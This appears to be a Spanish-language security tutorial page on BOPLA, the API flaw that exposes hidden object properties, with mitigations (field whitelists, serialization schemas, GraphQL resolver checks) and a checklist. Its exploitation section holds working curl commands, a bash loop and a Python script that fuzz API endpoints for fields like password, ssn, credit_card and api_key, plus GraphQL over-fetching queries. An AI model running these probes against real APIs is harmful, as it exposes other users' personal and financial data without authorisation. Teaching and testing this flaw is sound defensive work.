Skip to content

Broken Object Property Level Authorization (BOPLA)

CWE: CWE-639
Problema: Acceso a propiedades/campos que no deberían ser visibles


¿Qué es BOPLA?

A diferencia de BOLA (acceder a objetos enteros), BOPLA permite acceder a propiedades específicas de un objeto que están ocultas para ciertos usuarios.

Ejemplo Simple

Usuario normal SHOULD ver: {id, nombre, email}
Usuario normal SHOULD NOT ver: {salary, ssn, credit_card, admin_flag}

Respuesta vulnerable:
{
  "id": 100,
  "nombre": "John",
  "email": "john@email.com",
  "salary": 50000,        ← NO DEBERÍA VER
  "ssn": "123-45-6789",   ← NO DEBERÍA VER
  "credit_card": "1234-5678-9012-3456",  ← CRÍTICO
  "admin": false          ← INFO SENSIBLE
}

Ejemplos de Explotación

Caso 1: Sistema Bancario - Saldo Oculto

bash
# GET /api/users/100/profile
# Respuesta normal (esperada):
{
  "user_id": 100,
  "name": "John Doe",
  "email": "john@bank.com"
}

# Respuesta vulnerable (BOPLA):
{
  "user_id": 100,
  "name": "John Doe",
  "email": "john@bank.com",
  "account_balance": 50000, Exposición
  "credit_limit": 100000, Exposición
  "loan_amount": 25000 Exposición
}

# Explotar
curl "https://api.banco.com/api/users/200/profile" \
  -H "Authorization: Bearer token_usuario_normal"
# Ver balances de otros usuarios

Caso 2: E-commerce - Precio de Costo

bash
# GET /api/products/SKU-12345
# Esperado:
{
  "sku": "SKU-12345",
  "name": "Laptop",
  "price": 999.99
}

# Vulnerable:
{
  "sku": "SKU-12345",
  "name": "Laptop",
  "price": 999.99,
  "cost": 450.00, Margen expuesto
  "supplier": "Dell",
  "revenue_estimate": 500000
}

# Impacto: Competencia ve márgenes

Caso 3: Social Network - Datos Privados

bash
# GET /api/users/999/profile?fields=*
{
  "user_id": 999,
  "username": "jane_doe",
  "bio": "Developer",
  "followers": 5000,
  "phone": "+1-555-0123", PII
  "home_address": "123 Main St", PII
  "date_of_birth": "1990-05-15", PII
  "relationship_status": "married", Privado
  "political_views": "...", Privado
  "religious_beliefs": "...", Privado
  "is_premium": true, Info sensible
  "payment_method": "visa",
  "last_4_digits": "1234" Tarjeta
}

Técnicas de Enumeración

1. Fuzzing de Propiedades (Wordlist)

bash
#!/bin/bash

API="https://api.app.com"
USER_ID="100"
TOKEN="eyJhbGciOiJIUzI1NiIs..."

# Wordlist de propiedades comunes
properties=(
  "id" "user_id" "username" "email" "phone"
  "password" "hash" "salt"
  "balance" "account_balance" "credit_limit"
  "salary" "revenue" "cost"
  "is_admin" "role" "permissions"
  "ssn" "credit_card" "cvv"
  "secret" "token" "api_key"
  "internal_id" "db_id"
  "created_at" "updated_at"
  "is_active" "is_deleted"
)

for prop in "${properties[@]}"; do
  response=$(curl -s "$API/api/users/$USER_ID?fields=$prop" \
    -H "Authorization: Bearer $TOKEN")
  
  # Si la propiedad existe, la respuesta será diferente
  if echo "$response" | grep -q "$prop"; then
    echo "[✓] Propiedad encontrada: $prop"
    echo "    Valor: $(echo $response | jq ".$prop")"
  fi
done

2. Parámetro fields Inseguro

bash
# API permite seleccionar campos
curl "https://api.app.com/api/users/100?fields=username,email,admin"

# Respuesta:
{
  "username": "user",
  "email": "user@example.com",
  "admin": false Expuesto inadecuadamente
}

# Probar más campos
curl "https://api.app.com/api/users/100?fields=*"
curl "https://api.app.com/api/users/100?fields=**"
curl "https://api.app.com/api/users/100?fields=password,ssn,credit_card"

3. GraphQL - Over-fetching

bash
# GraphQL query vulnerable
query {
  user(id: 100) {
    id
    username
    email
    password       # ← No debería permitir
    ssn
    credit_card {
      number       # ← CRÍTICO
      cvv
      expires
    }
    salary
    admin_flag
  }
}

# Enviar
curl -X POST "https://api.app.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { user(id: 100) { id username email password ssn } }"
  }'

4. Response Wrapping/Embedding

bash
# API retorna objeto dentro de otro
GET /api/users/100/full-profile

{
  "data": {
    "user": {
      "public_info": {
        "username": "john"
      },
      "private_info": { Accesible
        "ssn": "123-45-6789",
        "salary": 50000,
        "medical_records": [...]
      },
      "admin_info": { Accesible
        "is_moderator": false,
        "created_by": "admin",
        "last_activity": "..."
      }
    }
  }
}

Métodos de Explotación

Automatizar con Python

python
import requests
import json

def discover_hidden_fields(api_url, user_id, token):
    """
    Descubrir campos ocultos mediante fuzzing
    """
    
    # Propiedades comunes
    common_fields = [
        'password', 'hash', 'salt',
        'ssn', 'credit_card', 'cvv',
        'salary', 'revenue', 'cost',
        'is_admin', 'is_moderator',
        'api_key', 'secret', 'token',
        'internal_id', 'db_id',
        'is_deleted', 'last_login'
    ]
    
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] Buscando campos ocultos en usuario {user_id}")
    
    for field in common_fields:
        try:
            # Intento 1: Query parameter
            response = requests.get(
                f"{api_url}/api/users/{user_id}?fields={field}",
                headers=headers,
                timeout=5
            )
            
            if response.status_code == 200:
                data = response.json()
                if field in data or (isinstance(data, dict) and field in str(data)):
                    print(f"[✓] Campo encontrado: {field}")
                    print(f"    Valor: {data}")
            
            # Intento 2: POST con fields
            response = requests.post(
                f"{api_url}/api/users/{user_id}/get-profile",
                json={"fields": [field]},
                headers=headers,
                timeout=5
            )
            
            if response.status_code == 200 and field in str(response.json()):
                print(f"[✓] Campo encontrado (POST): {field}")
                print(f"    {response.json()}")
        
        except Exception as e:
            pass

# Usar
discover_hidden_fields(
    "https://api.app.com",
    100,
    "eyJhbGciOiJIUzI1NiIs..."
)

Burp Suite - Modificar Response

1. Capturar GET /api/users/100
2. Enviar a Repeater
3. Modificar respuesta en Time-based Request Editing:
   - Agregar campos ocultos manualmente
   - Ver si frontend acepta y procesa

4. Usar Extension ResponseAnalyzer:
   - Comparar responses
   - Detectar propiedades adicionales

Mitigación

1. Whitelist de Campos

python
@app.route('/api/users/<user_id>')
def get_user(user_id):
    current_user = verify_token(request.headers.get('Authorization'))
    
    # Whitelist de campos permitidos
    ALLOWED_FIELDS = {
        'user': ['id', 'username', 'email', 'created_at'],
        'admin': ['id', 'username', 'email', 'password_hash', 'is_admin', 'created_at']
    }
    
    user = User.query.get(user_id)
    allowed = ALLOWED_FIELDS.get(current_user.role, [])
    
    # Serializar solo campos permitidos
    response = {k: v for k, v in user.to_dict().items() if k in allowed}
    
    return jsonify(response)

2. DTO (Data Transfer Object)

python
from marshmallow import Schema, fields

class UserPublicSchema(Schema):
    """Para usuarios normales"""
    id = fields.Int()
    username = fields.Str()
    email = fields.Email()
    created_at = fields.DateTime()

class UserAdminSchema(Schema):
    """Para administradores"""
    id = fields.Int()
    username = fields.Str()
    email = fields.Email()
    password_hash = fields.Str()
    is_admin = fields.Bool()
    created_at = fields.DateTime()

@app.route('/api/users/<user_id>')
def get_user(user_id):
    current_user = verify_token(request.headers.get('Authorization'))
    user = User.query.get(user_id)
    
    schema = UserAdminSchema() if current_user.is_admin else UserPublicSchema()
    return jsonify(schema.dump(user))

3. GraphQL - Restricción de Campos

python
import graphene

class UserType(graphene.ObjectType):
    id = graphene.ID()
    username = graphene.String()
    email = graphene.String()
    
    # Campos restringidos
    password_hash = graphene.String()
    ssn = graphene.String()
    salary = graphene.Float()
    
    @staticmethod
    def resolve_password_hash(obj, info):
        # Solo admin
        if not info.context.user.is_admin:
            return None  # O raise error
        return obj.password_hash

class Query(graphene.ObjectType):
    user = graphene.Field(UserType, id=graphene.ID())
    
    def resolve_user(self, info, id):
        # Verificar autorización
        if not can_access_user(info.context.user, id):
            raise Exception("Forbidden")
        return User.objects.get(id=id)

Checklist

  • [ ] Revisar todas las respuestas de API para campos sensibles
  • [ ] Implementar whitelist de campos por rol
  • [ ] Usar DTOs/Schemas de serialización
  • [ ] Deshabilitar parámetro fields o restringir
  • [ ] Auditar endpoints que retornan objetos embebidos
  • [ ] Verificar GraphQL queries con permissionamiento
  • [ ] Tests de seguridad: intentar acceder a campos prohibidos
  • [ ] Logging de accesos a campos sensibles